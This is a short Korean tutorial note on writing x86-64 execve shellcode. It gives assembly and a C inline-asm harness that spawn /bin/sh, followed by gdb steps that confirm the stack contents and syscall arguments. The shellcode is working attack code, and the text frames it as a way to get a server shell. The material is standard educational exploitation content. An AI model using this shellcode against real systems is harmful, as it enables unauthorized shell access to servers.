* Execve 셸코드란 임의의 프로그램을 실행하는 셸코드 이다. 이를 이용하면 서버의 셸을 흭득할 수 있다.
- ex) /bin/bash 실행
1.1. execve shellcode 만들어보기
- syscall

- asembly code
; execve.S
; execve("/bin/sh", null, null)
mov rax, 0x68732f6e69622f = "/bin/sh\x00"
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
1.2. execve shell code 분석

- run.sh에 bp 걸고 실행

- run_sh+11까지 실행 후 스택 => 0x7fffffffe0c0 = 0x68732f6e69622f(/bin/sh)

- run_sh+27에 bp 설정 후 확인해보면 rsp, 0, 0 인자로 execve syscall 함